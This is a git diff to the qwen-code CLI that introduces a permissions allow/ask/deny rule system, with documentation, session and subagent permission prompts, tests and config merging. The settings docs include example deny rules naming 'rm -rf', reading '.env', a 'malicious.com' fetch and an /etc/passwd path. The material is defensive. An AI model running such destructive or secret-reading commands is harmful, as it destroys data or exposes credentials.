diff --git a/docs/users/configuration/settings.md b/docs/users/configuration/settings.md index 308d09e63171..1c7c20404f84 100644 --- a/docs/users/configuration/settings.md +++ b/docs/users/configuration/settings.md @@ -212,9 +212,9 @@ If you are experiencing performance issues with file searching (e.g., with `@` c | ------------------------------------ | ----------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `tools.sandbox` | boolean or string | Sandbox execution environment (can be a boolean or a path string). | `undefined` | | | `tools.shell.enableInteractiveShell` | boolean | Use `node-pty` for an interactive shell experience. Fallback to `child_process` still applies. | `false` | | -| `tools.core` | array of strings | This can be used to restrict the set of built-in tools with an allowlist. You can also specify command-specific restrictions for tools that support it, like the `run_shell_command` tool. For example, `"tools.core": ["run_shell_command(ls -l)"]` will only allow the `ls -l` command to be executed. | `undefined` | | -| `tools.exclude` | array of strings | Tool names to exclude from discovery. You can also specify command-specific restrictions for tools that support it, like the `run_shell_command` tool. For example, `"tools.exclude": ["run_shell_command(rm -rf)"]` will block the `rm -rf` command. **Security Note:** Command-specific restrictions in `tools.exclude` for `run_shell_command` are based on simple string matching and can be easily bypassed. This feature is **not a security mechanism** and should not be relied upon to safely execute untrusted code. It is recommended to use `tools.core` to explicitly select commands that can be executed. | `undefined` | | -| `tools.allowed` | array of strings | A list of tool names that will bypass the confirmation dialog. This is useful for tools that you trust and use frequently. For example, `["run_shell_command(git)", "run_shell_command(npm test)"]` will skip the confirmation dialog to run any `git` and `npm test` commands. | `undefined` | | +| `tools.core` | array of strings | **Deprecated.** Will be removed in next version. Use `permissions.allow` + `permissions.deny` instead. Restricts built-in tools to an allowlist. All tools not in the list are disabled. | `undefined` | | +| `tools.exclude` | array of strings | **Deprecated.** Use `permissions.deny` instead. Tool names to exclude from discovery. Automatically migrated to the `permissions` format on first load. | `undefined` | | +| `tools.allowed` | array of strings | **Deprecated.** Use `permissions.allow` instead. Tool names that bypass the confirmation dialog. Automatically migrated to the `permissions` format on first load. | `undefined` | | | `tools.approvalMode` | string | Sets the default approval mode for tool usage. | `default` | Possible values: `plan` (analyze only, do not modify files or execute commands), `default` (require approval before file edits or shell commands run), `auto-edit` (automatically approve file edits), `yolo` (automatically approve all tool calls) | | `tools.discoveryCommand` | string | Command to run for tool discovery. | `undefined` | | | `tools.callCommand` | string | Defines a custom shell command for calling a specific tool that was discovered using `tools.discoveryCommand`. The shell command must meet the following criteria: It must take function `name` (exactly as in [function declaration](https://ai.google.dev/gemini-api/docs/function-calling#function-declarations)) as first command line argument. It must read function arguments as JSON on `stdin`, analogous to [`functionCall.args`](https://cloud.google.com/vertex-ai/generative-ai/docs/model-reference/inference#functioncall). It must return function output as JSON on `stdout`, analogous to [`functionResponse.response.content`](https://cloud.google.com/vertex-ai/generative-ai/docs/model-reference/inference#functionresponse). | `undefined` | | @@ -223,6 +223,103 @@ If you are experiencing performance issues with file searching (e.g., with `@` c | `tools.truncateToolOutputThreshold` | number | Truncate tool output if it is larger than this many characters. Applies to Shell, Grep, Glob, ReadFile and ReadManyFiles tools. | `25000` | Requires restart: Yes | | `tools.truncateToolOutputLines` | number | Maximum lines or entries kept when truncating tool output. Applies to Shell, Grep, Glob, ReadFile and ReadManyFiles tools. | `1000` | Requires restart: Yes | +> [!note] +> +> **Migrating from `tools.core` / `tools.exclude` / `tools.allowed`:** These legacy settings are **deprecated** and automatically migrated to the new `permissions` format on first load. Prefer configuring `permissions.allow` / `permissions.deny` directly. Use `/permissions` to manage rules interactively. + +#### permissions + +The permissions system provides fine-grained control over which tools can run, which require confirmation, and which are blocked. + +**Decision priority (highest first): `deny` > `ask` > `allow` > _(default/interactive mode)_** + +The first matching rule wins. Rules use the format `"ToolName"` or `"ToolName(specifier)"`. + +| Setting | Type | Description | Default | +| ------------------- | ---------------- | ---------------------------------------------------------------------------------------------------------------- | ----------- | +| `permissions.allow` | array of strings | Rules for auto-approved tool calls (no confirmation needed). Merged across all scopes (user + project + system). | `undefined` | +| `permissions.ask` | array of strings | Rules for tool calls that always require user confirmation. Takes priority over `allow`. | `undefined` | +| `permissions.deny` | array of strings | Rules for blocked tool calls. Highest priority — overrides both `allow` and `ask`. | `undefined` | + +**Tool name aliases (any of these work in rules):** + +| Alias | Canonical tool | Notes | +| --------------------- | ------------------- | ------------------------- | +| `Bash`, `Shell` | `run_shell_command` | | +| `Read`, `ReadFile` | `read_file` | Meta-category — see below | +| `Edit`, `EditFile` | `edit` | Meta-category — see below | +| `Write`, `WriteFile` | `write_file` | | +| `Grep`, `SearchFiles` | `grep_search` | | +| `Glob`, `FindFiles` | `glob` | | +| `ListFiles` | `list_directory` | | +| `WebFetch` | `web_fetch` | | +| `Agent` | `task` | | +| `Skill` | `skill` | | + +**Meta-categories:** + +Some rule names automatically cover multiple tools: + +| Rule name | Tools covered | +| --------- | ---------------------------------------------------- | +| `Read` | `read_file`, `grep_search`, `glob`, `list_directory` | +| `Edit` | `edit`, `write_file` | + +> [!important] +> `Read(/path/**)` matches **all four** read tools (file read, grep, glob, and directory listing). +> To restrict only file reading, use `ReadFile(/path/**)` or `read_file(/path/**)`. + +**Rule syntax examples:** + +| Rule | Meaning | +| ----------------------------- | -------------------------------------------------------------- | +| `"Bash"` | All shell commands | +| `"Bash(git *)"` | Shell commands starting with `git` (word boundary: NOT `gitk`) | +| `"Bash(git push *)"` | Shell commands like `git push origin main` | +| `"Bash(npm run *)"` | Any `npm run` script | +| `"Read"` | All file read operations (read, grep, glob, list) | +| `"Read(./secrets/**)"` | Read any file under `./secrets/` recursively | +| `"Edit(/src/**/*.ts)"` | Edit TypeScript files under project root `/src/` | +| `"WebFetch(api.example.com)"` | Fetch from `api.example.com` and all its subdomains | +| `"mcp__puppeteer"` | All tools from the puppeteer MCP server | + +**Path pattern prefixes:** + +| Prefix | Meaning | Example | +| ------ | ------------------------------------- | ------------------- | +| `//` | Absolute path from filesystem root | `//etc/passwd` | +| `~/` | Relative to home directory | `~/Documents/*.pdf` | +| `/` | Relative to project root | `/src/**/*.ts` | +| `./` | Relative to current working directory | `./secrets/**` | +| (none) | Same as `./` | `secrets/**` | + +**Shell command bypass prevention:** + +Permission rules for `Read`, `Edit`, and `WebFetch` are also enforced when the agent runs equivalent shell commands. For example, if `Read(./.env)` is in `deny`, the agent cannot bypass it via `cat .env` in a shell command. Supported shell commands include `cat`, `grep`, `curl`, `wget`, `cp`, `mv`, `rm`, `chmod`, and many more. Unknown/safe commands (e.g. `git`) are unaffected by file/network rules. + +**Migrating from legacy settings:** + +| Legacy setting | Equivalent `permissions` rule | Notes | +| --------------- | ------------------------------- | ------------------------------------------------------------ | +| `tools.allowed` | `permissions.allow` | Auto-migrated on first load | +| `tools.exclude` | `permissions.deny` | Auto-migrated on first load | +| `tools.core` | `permissions.allow` (allowlist) | Auto-migrated; unlisted tools are disabled at registry level | + +**Example configuration:** + +```json +{ + "permissions": { + "allow": ["Bash(git *)", "Bash(npm run *)", "Read(//Users/alice/code/**)"], + "ask": ["Bash(git push *)", "Edit"], + "deny": ["Bash(rm -rf *)", "Read(.env)", "WebFetch(malicious.com)"] + } +} +``` + +> [!tip] +> Use `/permissions` in the interactive CLI to view, add, and remove rules without editing `settings.json` directly. + #### mcp | Setting | Type | Description | Default | diff --git a/package-lock.json b/package-lock.json index fd6cc66246e1..4bf43c5ee322 100644 --- a/package-lock.json +++ b/package-lock.json @@ -17284,6 +17284,16 @@ "tslib": "2" } }, + "node_modules/tree-sitter-wasms": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/tree-sitter-wasms/-/tree-sitter-wasms-0.1.13.tgz", + "integrity": "sha512-wT+cR6DwaIz80/vho3AvSF0N4txuNx/5bcRKoXouOfClpxh/qqrF4URNLQXbbt8MaAxeksZcZd1j8gcGjc+QxQ==", + "dev": true, + "license": "Unlicense", + "dependencies": { + "tree-sitter-wasms": "^0.1.11" + } + }, "node_modules/ts-api-utils": { "version": "2.4.0", "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.4.0.tgz", @@ -18171,6 +18181,12 @@ "node": ">= 8" } }, + "node_modules/web-tree-sitter": { + "version": "0.24.7", + "resolved": "https://registry.npmjs.org/web-tree-sitter/-/web-tree-sitter-0.24.7.tgz", + "integrity": "sha512-CdC/TqVFbXqR+C51v38hv6wOPatKEUGxa39scAeFSm98wIhZxAYonhRQPSMmfZ2w7JDI0zQDdzdmgtNk06/krQ==", + "license": "MIT" + }, "node_modules/webidl-conversions": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", @@ -19491,6 +19507,7 @@ "tar": "^7.5.2", "undici": "^6.22.0", "uuid": "^9.0.1", + "web-tree-sitter": "^0.24.7", "ws": "^8.18.0" }, "devDependencies": { @@ -19504,6 +19521,7 @@ "@types/tar": "^6.1.13", "@types/ws": "^8.5.10", "msw": "^2.3.4", + "tree-sitter-wasms": "^0.1.13", "typescript": "^5.3.3", "vitest": "^3.1.1" }, diff --git a/packages/cli/src/acp-integration/session/Session.ts b/packages/cli/src/acp-integration/session/Session.ts index f1e9892e7d37..0d8b05a712bf 100644 --- a/packages/cli/src/acp-integration/session/Session.ts +++ b/packages/cli/src/acp-integration/session/Session.ts @@ -34,6 +34,7 @@ import { TodoWriteTool, ExitPlanModeTool, readManyFiles, + ToolNames, } from '@qwen-code/qwen-code-core'; import { RequestError } from '@agentclientprotocol/sdk'; @@ -553,18 +554,17 @@ export class Session implements SessionContext { ); } - const confirmationDetails = - await invocation.shouldConfirmExecute(abortSignal); + // Use the new permission flow: getDefaultPermission + getConfirmationDetails + // ask_user_question must always go through confirmation even in YOLO mode + // so the user always has a chance to respond to questions. + const isAskUserQuestionTool = fc.name === ToolNames.ASK_USER_QUESTION; + const defaultPermission = + this.config.getApprovalMode() !== ApprovalMode.YOLO || + isAskUserQuestionTool + ? await invocation.getDefaultPermission() + : 'allow'; - // In YOLO mode, auto-approve everything except ask_user_question - // (the user must always have a chance to respond to questions) - const isAskUserQuestionTool = - confirmationDetails && confirmationDetails.type === 'ask_user_question'; - const effectiveConfirmationDetails = - this.config.getApprovalMode() === ApprovalMode.YOLO && - !isAskUserQuestionTool - ? false - : confirmationDetails; + const needsConfirmation = defaultPermission === 'ask'; // Check for plan mode enforcement - block non-read-only tools // but allow ask_user_question so users can answer clarification questions @@ -573,7 +573,7 @@ export class Session implements SessionContext { isPlanMode && !isExitPlanModeTool && !isAskUserQuestionTool && - effectiveConfirmationDetails + needsConfirmation ) { // In plan mode, block any tool that requires confirmation (write operations) return errorResponse( @@ -584,25 +584,35 @@ export class Session implements SessionContext { ); } - if (effectiveConfirmationDetails) { + if (defaultPermission === 'deny') { + return errorResponse( + new Error( + `Tool "${fc.name}" is denied: command substitution is not allowed for security reasons.`, + ), + ); + } + + if (needsConfirmation) { + const confirmationDetails = + await invocation.getConfirmationDetails(abortSignal); const content: ToolCallContent[] = []; - if (effectiveConfirmationDetails.type === 'edit') { + if (confirmationDetails.type === 'edit') { content.push({ type: 'diff', - path: effectiveConfirmationDetails.fileName, - oldText: effectiveConfirmationDetails.originalContent, - newText: effectiveConfirmationDetails.newContent, + path: confirmationDetails.fileName, + oldText: confirmationDetails.originalContent, + newText: confirmationDetails.newContent, }); } // Add plan content for exit_plan_mode - if (effectiveConfirmationDetails.type === 'plan') { + if (confirmationDetails.type === 'plan') { content.push({ type: 'content', content: { type: 'text', - text: effectiveConfirmationDetails.plan, + text: confirmationDetails.plan, }, }); } @@ -612,7 +622,7 @@ export class Session implements SessionContext { const params: RequestPermissionRequest = { sessionId: this.sessionId, - options: toPermissionOptions(effectiveConfirmationDetails), + options: toPermissionOptions(confirmationDetails), toolCall: { toolCallId: callId, status: 'pending', @@ -636,7 +646,7 @@ export class Session implements SessionContext { .nativeEnum(ToolConfirmationOutcome) .parse(output.outcome.optionId); - await effectiveConfirmationDetails.onConfirm(outcome, { + await confirmationDetails.onConfirm(outcome, { answers: output.answers, }); @@ -652,6 +662,8 @@ export class Session implements SessionContext { ); case ToolConfirmationOutcome.ProceedOnce: case ToolConfirmationOutcome.ProceedAlways: + case ToolConfirmationOutcome.ProceedAlwaysProject: + case ToolConfirmationOutcome.ProceedAlwaysUser: case ToolConfirmationOutcome.ProceedAlwaysServer: case ToolConfirmationOutcome.ProceedAlwaysTool: case ToolConfirmationOutcome.ModifyWithEditor: @@ -1041,8 +1053,13 @@ function toPermissionOptions( case 'exec': return [ { - optionId: ToolConfirmationOutcome.ProceedAlways, - name: `Always Allow ${confirmation.rootCommand}`, + optionId: ToolConfirmationOutcome.ProceedAlwaysProject, + name: `Always Allow in project: ${confirmation.rootCommand}`, + kind: 'allow_always', + }, + { + optionId: ToolConfirmationOutcome.ProceedAlwaysUser, + name: `Always Allow for user: ${confirmation.rootCommand}`, kind: 'allow_always', }, ...basicPermissionOptions, @@ -1050,13 +1067,13 @@ function toPermissionOptions( case 'mcp': return [ { - optionId: ToolConfirmationOutcome.ProceedAlwaysServer, - name: `Always Allow ${confirmation.serverName}`, + optionId: ToolConfirmationOutcome.ProceedAlwaysProject, + name: `Always Allow in project: ${confirmation.toolName}`, kind: 'allow_always', }, { - optionId: ToolConfirmationOutcome.ProceedAlwaysTool, - name: `Always Allow ${confirmation.toolName}`, + optionId: ToolConfirmationOutcome.ProceedAlwaysUser, + name: `Always Allow for user: ${confirmation.toolName}`, kind: 'allow_always', }, ...basicPermissionOptions, @@ -1064,8 +1081,13 @@ function toPermissionOptions( case 'info': return [ { - optionId: ToolConfirmationOutcome.ProceedAlways, - name: `Always Allow`, + optionId: ToolConfirmationOutcome.ProceedAlwaysProject, + name: `Always Allow in project`, + kind: 'allow_always', + }, + { + optionId: ToolConfirmationOutcome.ProceedAlwaysUser, + name: `Always Allow for user`, kind: 'allow_always', }, ...basicPermissionOptions, diff --git a/packages/cli/src/acp-integration/session/SubAgentTracker.ts b/packages/cli/src/acp-integration/session/SubAgentTracker.ts index e9af7282cb24..6509b4a46fad 100644 --- a/packages/cli/src/acp-integration/session/SubAgentTracker.ts +++ b/packages/cli/src/acp-integration/session/SubAgentTracker.ts @@ -330,6 +330,8 @@ export class SubAgentTracker { private toPermissionOptions( confirmation: ToolCallConfirmationDetails, ): PermissionOption[] { + const hideAlwaysAllow = + 'hideAlwaysAllow' in confirmation && confirmation.hideAlwaysAllow; switch (confirmation.type) { case 'edit': return [ @@ -342,34 +344,56 @@ export class SubAgentTracker { ]; case 'exec': return [ - { - optionId: ToolConfirmationOutcome.ProceedAlways, - name: `Always Allow ${(confirmation as { rootCommand?: string }).rootCommand ?? 'command'}`, - kind: 'allow_always', - }, + ...(hideAlwaysAllow + ? [] + : [ + { + optionId: ToolConfirmationOutcome.ProceedAlwaysProject, + name: `Always Allow in project: ${(confirmation as { rootCommand?: string }).rootCommand ?? 'command'}`, + kind: 'allow_always' as const, + }, + { + optionId: ToolConfirmationOutcome.ProceedAlwaysUser, + name: `Always Allow for user: ${(confirmation as { rootCommand?: string }).rootCommand ?? 'command'}`, + kind: 'allow_always' as const, + }, + ]), ...basicPermissionOptions, ]; case 'mcp': return [ - { - optionId: ToolConfirmationOutcome.ProceedAlwaysServer, - name: `Always Allow ${(confirmation as { serverName?: string }).serverName ?? 'server'}`, - kind: 'allow_always', - }, - { - optionId: ToolConfirmationOutcome.ProceedAlwaysTool, - name: `Always Allow ${(confirmation as { toolName?: string }).toolName ?? 'tool'}`, - kind: 'allow_always', - }, + ...(hideAlwaysAllow + ? [] + : [ + { + optionId: ToolConfirmationOutcome.ProceedAlwaysProject, + name: `Always Allow in project: ${(confirmation as { toolName?: string }).toolName ?? 'tool'}`, + kind: 'allow_always' as const, + }, + { + optionId: ToolConfirmationOutcome.ProceedAlwaysUser, + name: `Always Allow for user: ${(confirmation as { toolName?: string }).toolName ?? 'tool'}`, + kind: 'allow_always' as const, + }, + ]), ...basicPermissionOptions, ]; case 'info': return [ - { - optionId: ToolConfirmationOutcome.ProceedAlways, - name: 'Always Allow', - kind: 'allow_always', - }, + ...(hideAlwaysAllow + ? [] + : [ + { + optionId: ToolConfirmationOutcome.ProceedAlwaysProject, + name: 'Always Allow in project', + kind: 'allow_always' as const, + }, + { + optionId: ToolConfirmationOutcome.ProceedAlwaysUser, + name: 'Always Allow for user', + kind: 'allow_always' as const, + }, + ]), ...basicPermissionOptions, ]; case 'plan': diff --git a/packages/cli/src/config/config.test.ts b/packages/cli/src/config/config.test.ts index 3e304050a61a..207ecb8dde17 100644 --- a/packages/cli/src/config/config.test.ts +++ b/packages/cli/src/config/config.test.ts @@ -1022,7 +1022,7 @@ describe('mergeExcludeTools', () => { process.argv = ['node', 'script.js']; const argv = await parseArguments(); const config = await loadCliConfig(settings, argv, undefined, []); - expect(config.getExcludeTools()).toEqual([]); + expect(config.getPermissionsDeny()).toEqual([]); }); it('should return default excludes when no excludeTools are specified and it is not interactive', async () => { @@ -1031,7 +1031,7 @@ describe('mergeExcludeTools', () => { process.argv = ['node', 'script.js', '-p', 'test']; const argv = await parseArguments(); const config = await loadCliConfig(settings, argv, undefined, []); - expect(config.getExcludeTools()).toEqual(defaultExcludes); + expect(config.getPermissionsDeny()).toEqual(defaultExcludes); }); it('should handle settings with excludeTools but no extensions', async () => { @@ -1039,10 +1039,10 @@ describe('mergeExcludeTools', () => { const argv = await parseArguments(); const settings: Settings = { tools: { exclude: ['tool1', 'tool2'] } }; const config = await loadCliConfig(settings, argv, undefined, []); - expect(config.getExcludeTools()).toEqual( + expect(config.getPermissionsDeny()).toEqual( expect.arrayContaining(['tool1', 'tool2']), ); - expect(config.getExcludeTools()).toHaveLength(2); + expect(config.getPermissionsDeny()).toHaveLength(2); }); }); @@ -1067,7 +1067,7 @@ describe('Approval mode tool exclusion logic', () => { const settings: Settings = {}; const config = await loadCliConfig(settings, argv, undefined, []); - const excludedTools = config.getExcludeTools(); + const excludedTools = config.getPermissionsDeny(); expect(excludedTools).toContain(ShellTool.Name); expect(excludedTools).toContain(EditTool.Name); expect(excludedTools).toContain(WriteFileTool.Name); @@ -1086,7 +1086,7 @@ describe('Approval mode tool exclusion logic', () => { const settings: Settings = {}; const config = await loadCliConfig(settings, argv, undefined, []); - const excludedTools = config.getExcludeTools(); + const excludedTools = config.getPermissionsDeny(); expect(excludedTools).toContain(ShellTool.Name); expect(excludedTools).toContain(EditTool.Name); expect(excludedTools).toContain(WriteFileTool.Name); @@ -1106,7 +1106,7 @@ describe('Approval mode tool exclusion logic', () => { const config = await loadCliConfig(settings, argv, undefined, []); - const excludedTools = config.getExcludeTools(); + const excludedTools = config.getPermissionsDeny(); expect(excludedTools).toContain(ShellTool.Name); expect(excludedTools).toContain(EditTool.Name); expect(excludedTools).toContain(WriteFileTool.Name); @@ -1123,7 +1123,7 @@ describe('Approval mode tool exclusion logic', () => { const config = await loadCliConfig(settings, argv, undefined, []); - const excludedTools = config.getExcludeTools(); + const excludedTools = config.getPermissionsDeny(); expect(excludedTools).not.toContain(ShellTool.Name); expect(excludedTools).toContain(EditTool.Name); expect(excludedTools).toContain(WriteFileTool.Name); @@ -1140,7 +1140,7 @@ describe('Approval mode tool exclusion logic', () => { const config = await loadCliConfig(settings, argv, undefined, []); - const excludedTools = config.getExcludeTools(); + const excludedTools = config.getPermissionsDeny(); expect(excludedTools).not.toContain(ShellTool.Name); expect(excludedTools).toContain(EditTool.Name); expect(excludedTools).toContain(WriteFileTool.Name); @@ -1160,7 +1160,7 @@ describe('Approval mode tool exclusion logic', () => { const config = await loadCliConfig(settings, argv, undefined, []); - const excludedTools = config.getExcludeTools(); + const excludedTools = config.getPermissionsDeny(); expect(excludedTools).toContain(ShellTool.Name); expect(excludedTools).not.toContain(EditTool.Name); expect(excludedTools).not.toContain(WriteFileTool.Name); @@ -1180,7 +1180,7 @@ describe('Approval mode tool exclusion logic', () => { const config = await loadCliConfig(settings, argv, undefined, []); - const excludedTools = config.getExcludeTools(); + const excludedTools = config.getPermissionsDeny(); expect(excludedTools).not.toContain(ShellTool.Name); expect(excludedTools).not.toContain(EditTool.Name); expect(excludedTools).not.toContain(WriteFileTool.Name); @@ -1193,7 +1193,7 @@ describe('Approval mode tool exclusion logic', () => { const config = await loadCliConfig(settings, argv, undefined, []); - const excludedTools = config.getExcludeTools(); + const excludedTools = config.getPermissionsDeny(); expect(excludedTools).not.toContain(ShellTool.Name); expect(excludedTools).not.toContain(EditTool.Name); expect(excludedTools).not.toContain(WriteFileTool.Name); @@ -1218,7 +1218,7 @@ describe('Approval mode tool exclusion logic', () => { const config = await loadCliConfig(settings, argv, undefined, []); - const excludedTools = config.getExcludeTools(); + const excludedTools = config.getPermissionsDeny(); expect(excludedTools).not.toContain(ShellTool.Name); expect(excludedTools).not.toContain(EditTool.Name); expect(excludedTools).not.toContain(WriteFileTool.Name); @@ -1238,7 +1238,7 @@ describe('Approval mode tool exclusion logic', () => { const settings: Settings = { tools: { exclude: ['custom_tool'] } }; const config = await loadCliConfig(settings, argv, undefined, []); - const excludedTools = config.getExcludeTools(); + const excludedTools = config.getPermissionsDeny(); expect(excludedTools).toContain('custom_tool'); // From settings expect(excludedTools).toContain(ShellTool.Name); // From approval mode expect(excludedTools).not.toContain(EditTool.Name); // Should be allowed in auto-edit @@ -1834,9 +1834,9 @@ describe('loadCliConfig tool exclusions', () => { process.argv = ['node', 'script.js']; const argv = await parseArguments(); const config = await loadCliConfig({}, argv, undefined, []); - expect(config.getExcludeTools()).not.toContain('run_shell_command'); - expect(config.getExcludeTools()).not.toContain('replace'); - expect(config.getExcludeTools()).not.toContain('write_file'); + expect(config.getPermissionsDeny()).not.toContain('run_shell_command'); + expect(config.getPermissionsDeny()).not.toContain('replace'); + expect(config.getPermissionsDeny()).not.toContain('write_file'); }); it('should not exclude interactive tools in interactive mode with YOLO', async () => { @@ -1844,9 +1844,9 @@ describe('loadCliConfig tool exclusions', () => { process.argv = ['node', 'script.js', '--yolo']; const argv = await parseArguments(); const config = await loadCliConfig({}, argv, undefined, []); - expect(config.getExcludeTools()).not.toContain('run_shell_command'); - expect(config.getExcludeTools()).not.toContain('replace'); - expect(config.getExcludeTools()).not.toContain('write_file'); + expect(config.getPermissionsDeny()).not.toContain('run_shell_command'); + expect(config.getPermissionsDeny()).not.toContain('replace'); + expect(config.getPermissionsDeny()).not.toContain('write_file'); }); it('should exclude interactive tools in non-interactive mode without YOLO', async () => { @@ -1854,9 +1854,9 @@ describe('loadCliConfig tool exclusions', () => { process.argv = ['node', 'script.js', '-p', 'test']; const argv = await parseArguments(); const config = await loadCliConfig({}, argv, undefined, []); - expect(config.getExcludeTools()).toContain('run_shell_command'); - expect(config.getExcludeTools()).toContain('edit'); - expect(config.getExcludeTools()).toContain('write_file'); + expect(config.getPermissionsDeny()).toContain('run_shell_command'); + expect(config.getPermissionsDeny()).toContain('edit'); + expect(config.getPermissionsDeny()).toContain('write_file'); }); it('should not exclude interactive tools in non-interactive mode with YOLO', async () => { @@ -1864,9 +1864,9 @@ describe('loadCliConfig tool exclusions', () => { process.argv = ['node', 'script.js', '-p', 'test', '--yolo']; const argv = await parseArguments(); const config = await loadCliConfig({}, argv, undefined, []); - expect(config.getExcludeTools()).not.toContain('run_shell_command'); - expect(config.getExcludeTools()).not.toContain('replace'); - expect(config.getExcludeTools()).not.toContain('write_file'); + expect(config.getPermissionsDeny()).not.toContain('run_shell_command'); + expect(config.getPermissionsDeny()).not.toContain('replace'); + expect(config.getPermissionsDeny()).not.toContain('write_file'); }); }); diff --git a/packages/cli/src/config/config.ts b/packages/cli/src/config/config.ts index 10e7196375e1..d1b8fbf8675a 100755 --- a/packages/cli/src/config/config.ts +++ b/packages/cli/src/config/config.ts @@ -18,7 +18,6 @@ import { Storage, InputFormat, OutputFormat, - isToolEnabled, SessionService, ideContextStore, type ResumedSessionData, @@ -30,11 +29,13 @@ import { NativeLspClient, createDebugLogger, NativeLspService, + isToolEnabled, } from '@qwen-code/qwen-code-core'; import { extensionsCommand } from '../commands/extensions.js'; import { hooksCommand } from '../commands/hooks.js'; +import type { Settings, LoadedSettings } from './settings.js'; +import { SettingScope } from './settings.js'; import { authCommand } from '../commands/auth.js'; -import type { Settings } from './settings.js'; import { resolveCliGenerationConfig, getAuthTypeFromEnv, @@ -398,6 +399,7 @@ export async function parseArguments(): Promise { description: 'List all available extensions and exit.', }) .option('include-directories', { + alias: 'add-dir', type: 'array', string: true, description: @@ -702,6 +704,7 @@ export async function loadCliConfig( argv: CliArgs, cwd: string = process.cwd(), overrideExtensions?: string[], + loadedSettings?: LoadedSettings, ): Promise { const debugMode = isDebugMode(argv); @@ -831,64 +834,106 @@ export async function loadCliConfig( // (fallback for edge cases where query/prompt is provided with TEXT output) interactive = false; } - // In non-interactive mode, exclude tools that require a prompt. - // However, if stream-json input is used, control can be requested via JSON messages, - // so tools should not be excluded in that case. - const extraExcludes: string[] = []; - const resolvedCoreTools = argv.coreTools || settings.tools?.core || []; - const resolvedAllowedTools = - argv.allowedTools || settings.tools?.allowed || []; - const isExplicitlyEnabled = (toolName: ToolName): boolean => { - if (resolvedCoreTools.length > 0) { - if (isToolEnabled(toolName, resolvedCoreTools, [])) { - return true; - } + // ── Unified permissions construction ───────────────────────────────────── + // All permission sources are merged here, before constructing Config. + // The resulting three arrays are the single source of truth that Config / + // PermissionManager will use. + // + // Sources (in order of precedence within each list): + // 1. settings.permissions.{allow,ask,deny} (persistent, merged by LoadedSettings) + // 2. argv.coreTools → allow (allowlist mode: only these tools are available) + // 3. argv.allowedTools → allow (auto-approve these tools/commands) + // 4. argv.excludeTools → deny (block these tools completely) + // 5. Non-interactive mode exclusions → deny (unless explicitly allowed above) + + // Start from settings-level rules. + // Read from both new `permissions` and legacy `tools` paths for compatibility. + // Note: settings.tools.core / argv.coreTools are intentionally NOT merged into + // mergedAllow — they have whitelist semantics (only listed tools are registered), + // not auto-approve semantics. They are passed via the `coreTools` Config param + // and handled by PermissionManager.coreToolsAllowList. + const resolvedCoreTools: string[] = [ + ...(argv.coreTools ?? []), + ...(settings.tools?.core ?? []), + ]; + const mergedAllow: string[] = [ + ...(settings.permissions?.allow ?? []), + ...(settings.tools?.allowed ?? []), + ]; + const mergedAsk: string[] = [...(settings.permissions?.ask ?? [])]; + const mergedDeny: string[] = [ + ...(settings.permissions?.deny ?? []), + ...(settings.tools?.exclude ?? []), + ]; + + // argv.allowedTools adds allow rules (auto-approve). + for (const t of argv.allowedTools ?? []) { + if (t && !mergedAllow.includes(t)) mergedAllow.push(t); + } + + // argv.excludeTools adds deny rules. + for (const t of argv.excludeTools ?? []) { + if (t && !mergedDeny.includes(t)) mergedDeny.push(t); + } + + // Helper: check if a tool is explicitly covered by an allow rule OR by the + // coreTools whitelist. Uses alias matching for coreTools (via isToolEnabled) + // to preserve the original behaviour where "ShellTool", "Shell", and + // "run_shell_command" are all accepted as the same tool. + const isExplicitlyAllowed = (toolName: ToolName): boolean => { + const name = toolName as string; + // 1. Check permissions.allow / allowedTools rules. + if ( + mergedAllow.some((rule) => { + const openParen = rule.indexOf('('); + const ruleName = + openParen === -1 ? rule.trim() : rule.substring(0, openParen).trim(); + return ruleName === name; + }) + ) { + return true; } - if (resolvedAllowedTools.length > 0) { - if (isToolEnabled(toolName, resolvedAllowedTools, [])) { - return true; - } + // 2. Check coreTools whitelist (with alias matching). + // If coreTools is non-empty and explicitly includes this tool, it is + // considered allowed for non-interactive mode exclusion purposes. + if (resolvedCoreTools.length > 0) { + return isToolEnabled(toolName, resolvedCoreTools, []); } return false; }; - const excludeUnlessExplicit = (toolName: ToolName): void => { - if (!isExplicitlyEnabled(toolName)) { - extraExcludes.push(toolName); - } - }; - // ACP mode check: must include both --acp (current) and --experimental-acp (deprecated). - // Without this check, edit, write_file, run_shell_command would be excluded in ACP mode. + // In non-interactive mode, tools that require a user prompt are denied unless + // the caller has explicitly allowed them. Stream-JSON input is excluded from + // this logic because approval can be sent programmatically via JSON messages. const isAcpMode = argv.acp || argv.experimentalAcp; if (!interactive && !isAcpMode && inputFormat !== InputFormat.STREAM_JSON) { + const denyUnlessAllowed = (toolName: ToolName): void => { + if (!isExplicitlyAllowed(toolName)) { + const name = toolName as string; + if (!mergedDeny.includes(name)) mergedDeny.push(name); + } + }; + switch (approvalMode) { case ApprovalMode.PLAN: case ApprovalMode.DEFAULT: - // In default non-interactive mode, all tools that require approval are excluded, - // unless explicitly enabled via coreTools/allowedTools. - excludeUnlessExplicit(ShellTool.Name as ToolName); - excludeUnlessExplicit(EditTool.Name as ToolName); - excludeUnlessExplicit(WriteFileTool.Name as ToolName); + // Deny all write/execute tools unless explicitly allowed. + denyUnlessAllowed(ShellTool.Name as ToolName); + denyUnlessAllowed(EditTool.Name as ToolName); + denyUnlessAllowed(WriteFileTool.Name as ToolName); break; case ApprovalMode.AUTO_EDIT: - // In auto-edit non-interactive mode, only tools that still require a prompt are excluded. - excludeUnlessExplicit(ShellTool.Name as ToolName); + // Only shell requires a prompt in auto-edit mode. + denyUnlessAllowed(ShellTool.Name as ToolName); break; case ApprovalMode.YOLO: - // No extra excludes for YOLO mode. + // No extra denials for YOLO mode. break; default: - // This should never happen due to validation earlier, but satisfies the linter break; } } - const excludeTools = mergeExcludeTools( - settings, - extraExcludes.length > 0 ? extraExcludes : undefined, - argv.excludeTools, - ); - let allowedMcpServers: Set | undefined; let excludedMcpServers: Set | undefined; if (argv.allowedMcpServerNames) { @@ -981,9 +1026,31 @@ export async function loadCliConfig( question, systemPrompt: 